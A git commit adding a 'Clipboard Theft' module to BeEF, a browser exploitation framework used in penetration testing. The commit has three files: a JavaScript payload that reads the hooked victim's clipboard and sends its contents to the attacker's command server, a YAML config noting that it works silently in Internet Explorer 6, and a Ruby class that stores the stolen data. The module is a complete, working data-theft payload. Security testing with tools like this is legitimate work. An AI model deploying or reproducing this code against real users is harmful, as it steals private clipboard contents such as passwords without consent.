Added modules/misc/clipboard_theft/

git-svn-id: https://beef.googlecode.com/svn/trunk@1000 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
bcoles@gmail.com
2011-06-19 20:40:36 +00:00
parent 2f681c51e2
commit ec9fc14414
3 changed files with 58 additions and 0 deletions

View File

@@ -0,0 +1,7 @@
beef.execute(function() {
if (clipboardData.getData("Text") !== null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text"));
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard=clipboardData.getData is null or not supported.");
}
});

View File

@@ -0,0 +1,13 @@
beef:
module:
clipboard_theft:
enable: true
category: "Misc"
name: "Clipboard Theft"
description: "Retrieves the clipboard contents. This module will work automatically with Internet Explorer 6.x however Internet Explorer 7.x will prompt the user and ask for permission to access the clipboard."
authors: ["bcoles"]
target:
working: [IE6]
not_working: [FF, O, C, IE8]
user_notify: [IE7]

View File

@@ -0,0 +1,38 @@
class Clipboard_theft < BeEF::Core::Command
def initialize
super({
'Name' => 'Clipboard Theft',
'Description' => 'Retrieves the clipboard contents. This module will work automatically with Internet Explorer 6.x however Internet Explorer 7.x will prompt the user and ask for permission to access the clipboard.',
'Category' => 'Misc',
'Author' => 'bcoles',
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_USER_NOTIFY,
'browser_name' => IE
})
set_target({
'verified_status' => VERIFIED_NOT_WORKING,
'browser_name' => O
})
set_target({
'verified_status' => VERIFIED_NOT_WORKING,
'browser_name' => FF
})
set_target({
'verified_status' => VERIFIED_NOT_WORKING,
'browser_name' => C
})
use_template!
end
def callback
content = {}
content['clipboard'] = @datastore['clipboard']
save content
end
end